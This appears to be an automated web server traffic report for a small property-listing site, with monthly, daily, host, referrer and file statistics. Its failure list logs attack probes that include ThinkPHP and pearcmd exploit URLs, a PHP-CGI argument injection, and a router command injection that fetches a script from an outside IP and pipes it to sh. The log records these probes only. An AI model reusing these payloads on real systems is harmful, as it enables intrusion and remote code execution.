Program started at Mon-23-Dec-2024 00:25.
Analysed requests from Tue-24-Sep-2024 00:08 to Sun-22-Dec-2024 23:59 (89.99 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 23-Dec-2024 00:25.
Successful requests: 6,381 (519)
Average successful requests per day: 70 (74)
Successful requests for pages: 6,252 (508)
Average successful requests for pages per day: 69 (72)
Failed requests: 28,912 (2,081)
Redirected requests: 24,896 (1,732)
Distinct files requested: 76 (22)
Distinct hosts served: 2,893 (352)
Corrupt logfile lines: 4,335
Unwanted logfile entries: 1,041,107
Data transferred: 48.36 megabytes (3.77 megabytes)
Average data transferred per day: 550.32 kilobytes (550.80 kilobytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 60 requests for pages or part thereof.
month | reqs | pages | |
---|---|---|---|
Sep 2024 | 433 | 420 | |
Oct 2024 | 2080 | 2038 | |
Nov 2024 | 2223 | 2176 | |
Dec 2024 | 1645 | 1618 |
Busiest month: Nov 2024 (2,176 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 15 requests for pages or part thereof.
week beg. | reqs | pages | |
---|---|---|---|
22/Sep/24 | 322 | 314 | |
29/Sep/24 | 403 | 389 | |
6/Oct/24 | 434 | 423 | |
13/Oct/24 | 614 | 604 | |
20/Oct/24 | 437 | 430 | |
27/Oct/24 | 471 | 463 | |
3/Nov/24 | 536 | 517 | |
10/Nov/24 | 492 | 487 | |
17/Nov/24 | 518 | 511 | |
24/Nov/24 | 509 | 496 | |
1/Dec/24 | 516 | 507 | |
8/Dec/24 | 553 | 546 | |
15/Dec/24 | 517 | 507 | |
22/Dec/24 | 59 | 58 |
Busiest week: week beginning 13/Oct/24 (604 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 3 requests for pages or part thereof.
date | reqs | pages | |
---|---|---|---|
11/Nov/24 | 58 | 57 | |
12/Nov/24 | 80 | 80 | |
13/Nov/24 | 89 | 88 | |
14/Nov/24 | 71 | 71 | |
15/Nov/24 | 55 | 53 | |
16/Nov/24 | 80 | 79 | |
17/Nov/24 | 67 | 64 | |
18/Nov/24 | 74 | 72 | |
19/Nov/24 | 76 | 76 | |
20/Nov/24 | 76 | 76 | |
21/Nov/24 | 80 | 80 | |
22/Nov/24 | 69 | 67 | |
23/Nov/24 | 76 | 76 | |
24/Nov/24 | 54 | 53 | |
25/Nov/24 | 81 | 81 | |
26/Nov/24 | 59 | 57 | |
27/Nov/24 | 59 | 59 | |
28/Nov/24 | 71 | 69 | |
29/Nov/24 | 99 | 93 | |
30/Nov/24 | 86 | 84 | |
1/Dec/24 | 70 | 70 | |
2/Dec/24 | 99 | 99 | |
3/Dec/24 | 50 | 48 | |
4/Dec/24 | 99 | 97 | |
5/Dec/24 | 67 | 64 | |
6/Dec/24 | 73 | 73 | |
7/Dec/24 | 58 | 56 | |
8/Dec/24 | 69 | 69 | |
9/Dec/24 | 71 | 69 | |
10/Dec/24 | 89 | 88 | |
11/Dec/24 | 55 | 55 | |
12/Dec/24 | 84 | 83 | |
13/Dec/24 | 114 | 113 | |
14/Dec/24 | 71 | 69 | |
15/Dec/24 | 56 | 56 | |
16/Dec/24 | 61 | 59 | |
17/Dec/24 | 51 | 49 | |
18/Dec/24 | 88 | 87 | |
19/Dec/24 | 76 | 74 | |
20/Dec/24 | 92 | 90 | |
21/Dec/24 | 93 | 92 | |
22/Dec/24 | 59 | 58 |
Busiest day: 14/Oct/24 (204 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 25 requests for pages or part thereof.
day | reqs | pages | |
---|---|---|---|
Sun | 839 | 825 | |
Mon | 977 | 951 | |
Tue | 861 | 845 | |
Wed | 951 | 934 | |
Thu | 884 | 867 | |
Fri | 948 | 926 | |
Sat | 921 | 904 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 8 requests for pages or part thereof.
hour | reqs | pages | |
---|---|---|---|
0 | 315 | 313 | |
1 | 311 | 306 | |
2 | 214 | 211 | |
3 | 280 | 274 | |
4 | 322 | 314 | |
5 | 265 | 261 | |
6 | 269 | 265 | |
7 | 272 | 268 | |
8 | 263 | 257 | |
9 | 232 | 231 | |
10 | 266 | 254 | |
11 | 243 | 229 | |
12 | 259 | 253 | |
13 | 257 | 251 | |
14 | 263 | 259 | |
15 | 240 | 236 | |
16 | 261 | 258 | |
17 | 267 | 260 | |
18 | 213 | 208 | |
19 | 257 | 252 | |
20 | 316 | 312 | |
21 | 294 | 287 | |
22 | 238 | 235 | |
23 | 264 | 258 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
2618 | 42.40% | [unresolved numerical addresses] |
2319 | 34.23% | .com (Commercial) |
469 | 7.54% | .org (Non Profit Making Organisations) |
369 | 6.01% | .net (Networks) |
238 | 4.15% | [unknown domain] |
105 | 1.70% | .us (United States) |
65 | 0.96% | .de (Germany) |
70 | 0.80% | .cn (China) |
35 | 0.58% | .io (British Indian Ocean Territory) |
26 | 0.44% | .ru (Russia) |
21 | 0.36% | .edu (USA Higher Education) |
13 | 0.21% | .br (Brazil) |
2 | 0.10% | .nl (Netherlands) |
6 | 0.09% | .jp (Japan) |
5 | 0.09% | .it (Italy) |
5 | 0.09% | [domain not given] |
3 | 0.05% | .uk (United Kingdom) |
2 | 0.03% | .pl (Poland) |
2 | 0.03% | .arpa (Arpanet) |
1 | 0.02% | .sh (Saint Helena) |
1 | 0.02% | .in (India) |
1 | 0.02% | .co (Colombia) |
1 | 0.02% | .md (Moldova) |
1 | 0.02% | .es (Spain) |
1 | 0.02% | .cz (Czech Republic) |
1 | 0.02% | .cc (Cocos (Keeling) Islands) |
1 | 0.01% | .fr (France) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing the top 20 organisations by the number of requests, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
347 | 5.97% | 43 |
300 | 3.76% | amazonaws.com |
258 | 3.10% | googlebot.com |
252 | 3.90% | googleusercontent.com |
239 | 3.90% | shadowserver.org |
238 | 4.15% | [unknown domain] |
204 | 3.30% | criminalip.com |
198 | 3.14% | internet-census.org |
171 | 2.93% | 167.94 |
169 | 2.19% | ahrefs.com |
163 | 2.79% | censys-scanner.com |
143 | 2.46% | phanes-cloud.com |
136 | 1.73% | petalsearch.com |
130 | 2.12% | linodeusercontent.com |
99 | 1.70% | onyphe.net |
74 | 1.27% | 49 |
73 | 1.01% | 47 |
68 | 1.17% | internet-measurement.com |
67 | 1.14% | 92 |
64 | 1.02% | stretchoid.com |
2988 | 47.23% | [not listed: 422 organisations] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing the top 50 hosts by the number of requests, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
13 | 0.21% | 80.66.77.235 |
26 | 0.45% | 83.97.73.245 |
12 | 0.05% | 84.239.41.141 |
55 | 0.94% | 92.255.57.58 |
12 | 0.21% | 123.160.223.73 |
38 | 0.65% | 154.213.184.16 |
43 | 0.74% | 178.215.238.11 |
22 | 0.22% | 216.244.66.202 |
54 | 0.54% | measurements.ki3.org.cn |
14 | 0.19% | ec2-35-171-144-152.compute-1.amazonaws.com |
16 | 0.23% | ec2-54-88-179-33.compute-1.amazonaws.com |
36 | 0.28% | ec2-175-41-138-39.ap-southeast-1.compute.amazonaws.com |
25 | 0.43% | scanner-06.ch1.censys-scanner.com |
19 | 0.33% | scanner-07.ch1.censys-scanner.com |
19 | 0.33% | scanner-27.ch1.censys-scanner.com |
25 | 0.43% | scanner-201.hk2.censys-scanner.com |
29 | 0.50% | scanner-203.hk2.censys-scanner.com |
204 | 3.30% | security.criminalip.com |
18 | 0.21% | crawl-66-249-64-76.googlebot.com |
15 | 0.13% | crawl-66-249-65-229.googlebot.com |
16 | 0.19% | crawl-66-249-65-230.googlebot.com |
20 | 0.25% | crawl-66-249-70-102.googlebot.com |
15 | 0.20% | crawl-66-249-70-103.googlebot.com |
23 | 0.28% | crawl-66-249-76-133.googlebot.com |
13 | 0.19% | crawl-66-249-76-134.googlebot.com |
46 | 0.79% | server-0-2.survey.inspici.com |
13 | 0.22% | server-0-3.survey.inspici.com |
47 | 0.75% | 139-144-52-241.ip.linodeusercontent.com |
45 | 0.73% | 172-104-4-17.ip.linodeusercontent.com |
13 | 0.14% | crawl-mwx5un.mj12bot.com |
13 | 0.13% | crawl-xuxehn.mj12bot.com |
19 | 0.30% | petalbot-114-119-131-231.petalsearch.com |
14 | 0.16% | petalbot-114-119-139-110.petalsearch.com |
19 | 0.31% | petalbot-114-119-141-15.petalsearch.com |
28 | 0.33% | petalbot-114-119-144-178.petalsearch.com |
13 | 0.15% | petalbot-114-119-150-27.petalsearch.com |
17 | 0.19% | petalbot-114-119-154-26.petalsearch.com |
16 | 0.18% | petalbot-114-119-155-122.petalsearch.com |
50 | 0.86% | 45-148-120-106.hosted-by.phanes-cloud.com |
48 | 0.82% | 45-148-120-90.hosted-by.phanes-cloud.com |
45 | 0.78% | 45-148-120-96.hosted-by.phanes-cloud.com |
39 | 0.67% | hostedby.privatelayer.com |
16 | 0.16% | linux01.r00tbase.de |
15 | 0.30% | ucb-np2-241.colorado.edu |
14 | 0.23% | c-73-167-226-73.hsd1.ct.comcast.net |
54 | 0.93% | unused-space.coop.net |
12 | 0.19% | sh-chi-us-gd16-wk102.internet-census.org |
30 | 0.49% | ns1016880.ip-15-204-196.us |
28 | 0.45% | ns1007442.ip-51-81-155.us |
30 | 0.48% | ns1007444.ip-51-81-155.us |
4915 | 77.81% | [not listed: 2,843 hosts] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the referrers (where people followed links from, or pages which included this site's images).
Listing referring URLs with at least 20 requests, sorted by the number of requests.
reqs | URL |
---|---|
675 | http://66.39.154.37/ |
369 | http://ripmasterproperties.com/ |
199 | http://www.ripmasterproperties.com/ |
138 | https://ripmasterproperties.com/ |
72 | https://www.ripmasterproperties.com/ |
57 | https://www.google.com/ |
83 | [not listed: 38 URLs] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
reqs | %bytes | directory |
---|---|---|
6368 | 99.90% | [root directory] |
10 | 0.08% | /.well-known/ |
2 | 0.01% | /icons/ |
1 | [not listed: 1 directory] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
3286 | / |
2231 | /x16/x03/x01 |
1511 | /robots.txt |
1211 | /favicon.ico |
1033 | /x16/x03/x01/x05/xa8/x01 |
807 | /.env |
450 | /index.php |
93 | /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello |
93 | /index.php?lang=../../../../../../../../tmp/index1 |
93 | /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php |
350 | /x16/x03/x02/x01o/x01 |
318 | /.git/config |
269 | /bin/sh |
234 | /cgi-bin/%2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/bin/sh |
180 | /x03 |
167 | * |
156 | /n |
143 | /remote/login |
77 | /remote/login?lang=en |
138 | /dns-query |
28 | /dns-query?name=example.com&type=A |
132 | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
123 | /web/function/init.js |
120 | /wp-login.php |
114 | /new |
114 | /old |
114 | /main |
114 | /wp |
114 | /backup |
114 | /hello.world |
113 | /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input |
114 | /wordpress |
113 | /cgi-bin/luci/ |
25 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.17.31/t|sh%3B`) |
113 | /home |
112 | /bc |
112 | /bk |
14677 | [not listed: 2,529 files] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Referrer Report | Directory Report | Failure Report | Request Report)
This report lists the files on the site.
Listing files with at least 20 requests, sorted by the number of requests.
reqs | %bytes | last time | file |
---|---|---|---|
5659 | 91.61% | 22/Dec/24 23:53 | / |
80 | 1.37% | 21/Dec/24 11:24 | /?XDEBUG_SESSION_START=phpstorm |
28 | 0.28% | 18/Dec/24 16:31 | /?name=example.com&type=A |
14 | 0.23% | 21/Dec/24 13:48 | /?author=1 |
12 | 0.21% | 18/Dec/24 19:54 | /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 |
12 | 0.21% | 18/Dec/24 19:54 | /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 |
91 | 0.87% | 21/Dec/24 09:53 | /9th and Walnut Condo.html |
79 | 0.76% | 21/Dec/24 23:09 | /3880 Colorado Avenue.html |
70 | 0.76% | 21/Dec/24 09:53 | /High Street Apartments.html |
68 | 0.65% | 22/Dec/24 15:38 | /875 35th Street.html |
63 | 0.61% | 21/Dec/24 09:53 | /840 Cascade Avenue.html |
62 | 1.37% | 22/Dec/24 23:04 | /Cascade Avenue.jpg |
61 | 0.64% | 21/Dec/24 22:02 | /860 38th Street.html |
60 | 0.59% | 21/Dec/24 10:26 | /883 Grant Place.html |
59 | 0.55% | 21/Dec/24 14:07 | /3150 Darley Avenue.html |
54 | 1.08% | 21/Dec/24 16:48 | /Colorado Avenue.jpg |
41 | 0.32% | 21/Dec/24 09:53 | /716 16th Street.html |
14 | 0.18% | 13/Dec/24 21:24 | [not listed: 6 files] |